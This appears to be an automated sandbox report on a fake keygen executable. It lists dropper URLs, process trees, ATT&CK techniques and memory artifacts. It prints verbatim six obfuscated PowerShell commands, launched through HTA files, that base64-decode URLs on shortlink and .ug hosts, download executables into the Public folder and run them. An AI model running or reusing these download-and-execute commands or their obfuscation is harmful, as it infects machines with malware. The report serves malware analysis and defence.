201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
17s
max time network
162s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (7) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

10 2272 powershell.exe
12 2272 powershell.exe
13 3916 powershell.exe
15 3916 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Keygen.exedvc.exelxu.exe

pid process

1960 Keygen.exe
4992 dvc.exe
5004 lxu.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2648 timeout.exe
2808 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

flow	pid	process
10	2272	powershell.exe
12	2272	powershell.exe
13	3916	powershell.exe
15	3916	powershell.exe

pid	process
1960	Keygen.exe
4992	dvc.exe
5004	lxu.exe

pid	process
2648	timeout.exe
2808	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3688	powershell.exe
3916	powershell.exe
2272	powershell.exe
1648	powershell.exe
3688	powershell.exe
3916	powershell.exe
1648	powershell.exe
2272	powershell.exe
3916	powershell.exe
3916	powershell.exe
3688	powershell.exe
3688	powershell.exe
2272	powershell.exe
1648	powershell.exe
2272	powershell.exe
1648	powershell.exe
4424	powershell.exe
4424	powershell.exe
4588	powershell.exe
4588	powershell.exe
4424	powershell.exe
4588	powershell.exe
4424	powershell.exe
4588	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Keygen.exedvc.exe

pid process

1960 Keygen.exe
4992 dvc.exe

pid	process
1960	Keygen.exe
4992	dvc.exe

Suspicious use of WriteProcessMemory 54 IoCs

Processes:

Keygen — копия (7) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3420 wrote to memory of 1284	3420	Keygen — копия (7) — копия.exe	cmd.exe
PID 3420 wrote to memory of 1284	3420	Keygen — копия (7) — копия.exe	cmd.exe
PID 3420 wrote to memory of 1284	3420	Keygen — копия (7) — копия.exe	cmd.exe
PID 1284 wrote to memory of 1960	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 1960	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 1960	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 2208	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2208	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2208	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2652	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2652	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2652	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2808	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2808	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2808	1284	cmd.exe	timeout.exe
PID 2208 wrote to memory of 2272	2208	mshta.exe	powershell.exe
PID 2208 wrote to memory of 2272	2208	mshta.exe	powershell.exe
PID 2208 wrote to memory of 2272	2208	mshta.exe	powershell.exe
PID 2652 wrote to memory of 3688	2652	mshta.exe	powershell.exe
PID 2652 wrote to memory of 3688	2652	mshta.exe	powershell.exe
PID 2652 wrote to memory of 3688	2652	mshta.exe	powershell.exe
PID 1284 wrote to memory of 3564	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3564	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3564	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2604	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2604	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2604	1284	cmd.exe	mshta.exe
PID 3564 wrote to memory of 3916	3564	mshta.exe	powershell.exe
PID 3564 wrote to memory of 3916	3564	mshta.exe	powershell.exe
PID 3564 wrote to memory of 3916	3564	mshta.exe	powershell.exe
PID 2604 wrote to memory of 1648	2604	mshta.exe	powershell.exe
PID 2604 wrote to memory of 1648	2604	mshta.exe	powershell.exe
PID 2604 wrote to memory of 1648	2604	mshta.exe	powershell.exe
PID 1284 wrote to memory of 2648	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2648	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2648	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 4336	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4336	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4336	1284	cmd.exe	mshta.exe
PID 4336 wrote to memory of 4424	4336	mshta.exe	powershell.exe
PID 4336 wrote to memory of 4424	4336	mshta.exe	powershell.exe
PID 4336 wrote to memory of 4424	4336	mshta.exe	powershell.exe
PID 1284 wrote to memory of 4488	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4488	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4488	1284	cmd.exe	mshta.exe
PID 4488 wrote to memory of 4588	4488	mshta.exe	powershell.exe
PID 4488 wrote to memory of 4588	4488	mshta.exe	powershell.exe
PID 4488 wrote to memory of 4588	4488	mshta.exe	powershell.exe
PID 2272 wrote to memory of 4992	2272	powershell.exe	dvc.exe
PID 2272 wrote to memory of 4992	2272	powershell.exe	dvc.exe
PID 2272 wrote to memory of 4992	2272	powershell.exe	dvc.exe
PID 3916 wrote to memory of 5004	3916	powershell.exe	lxu.exe
PID 3916 wrote to memory of 5004	3916	powershell.exe	lxu.exe
PID 3916 wrote to memory of 5004	3916	powershell.exe	lxu.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (7) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (7) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (7) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1284

C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1960

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272

C:\Users\Public\dvc.exe
"C:\Users\Public\dvc.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4992

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2808

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916

C:\Users\Public\lxu.exe
"C:\Users\Public\lxu.exe"
5⤵
- Executes dropped EXE
PID:5004

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2648

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4424

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1E5B.tmp\start.bat

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C:\Users\Public\dvc.exe

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C:\Users\Public\dvc.exe

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C:\Users\Public\lxu.exe

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C:\Users\Public\lxu.exe

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memory/1284-0-0x0000000000000000-mapping.dmp

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memory/1648-34-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/1648-53-0x00000000073C0000-0x00000000073C1000-memory.dmp

Filesize
4KB

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memory/1648-63-0x0000000008300000-0x0000000008301000-memory.dmp

Filesize
4KB

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memory/1648-82-0x0000000009AA0000-0x0000000009AA1000-memory.dmp

Filesize
4KB

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memory/1648-29-0x0000000000000000-mapping.dmp

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memory/1960-2-0x0000000000000000-mapping.dmp

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memory/1960-3-0x0000000000000000-mapping.dmp

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memory/2208-7-0x0000000000000000-mapping.dmp

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memory/2272-101-0x000000000AE00000-0x000000000AE01000-memory.dmp

Filesize
4KB

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memory/2272-37-0x0000000007920000-0x0000000007921000-memory.dmp

Filesize
4KB

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memory/2272-21-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/2272-100-0x0000000009810000-0x0000000009811000-memory.dmp

Filesize
4KB

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memory/2272-99-0x0000000009F80000-0x0000000009F81000-memory.dmp

Filesize
4KB

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memory/2272-57-0x0000000008CE0000-0x0000000008CE1000-memory.dmp

Filesize
4KB

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memory/2272-12-0x0000000000000000-mapping.dmp

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memory/2272-87-0x0000000009850000-0x0000000009851000-memory.dmp

Filesize
4KB

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memory/2604-23-0x0000000000000000-mapping.dmp

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memory/2648-30-0x0000000000000000-mapping.dmp

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memory/2652-9-0x0000000000000000-mapping.dmp

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memory/2808-10-0x0000000000000000-mapping.dmp

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memory/3564-19-0x0000000000000000-mapping.dmp

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memory/3688-27-0x00000000078E0000-0x00000000078E1000-memory.dmp

Filesize
4KB

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memory/3688-40-0x00000000077A0000-0x00000000077A1000-memory.dmp

Filesize
4KB

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memory/3688-20-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/3688-24-0x0000000004CC0000-0x0000000004CC1000-memory.dmp

Filesize
4KB

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memory/3688-44-0x0000000007FF0000-0x0000000007FF1000-memory.dmp

Filesize
4KB

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memory/3688-42-0x0000000007F10000-0x0000000007F11000-memory.dmp

Filesize
4KB

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memory/3688-13-0x0000000000000000-mapping.dmp

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memory/3916-25-0x0000000000000000-mapping.dmp

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memory/3916-31-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/4336-62-0x0000000000000000-mapping.dmp

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memory/4424-70-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/4424-67-0x0000000000000000-mapping.dmp

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memory/4488-69-0x0000000000000000-mapping.dmp

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memory/4588-74-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/4588-73-0x0000000000000000-mapping.dmp

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memory/4992-107-0x0000000000000000-mapping.dmp

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memory/5004-108-0x0000000000000000-mapping.dmp

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memory/5004-113-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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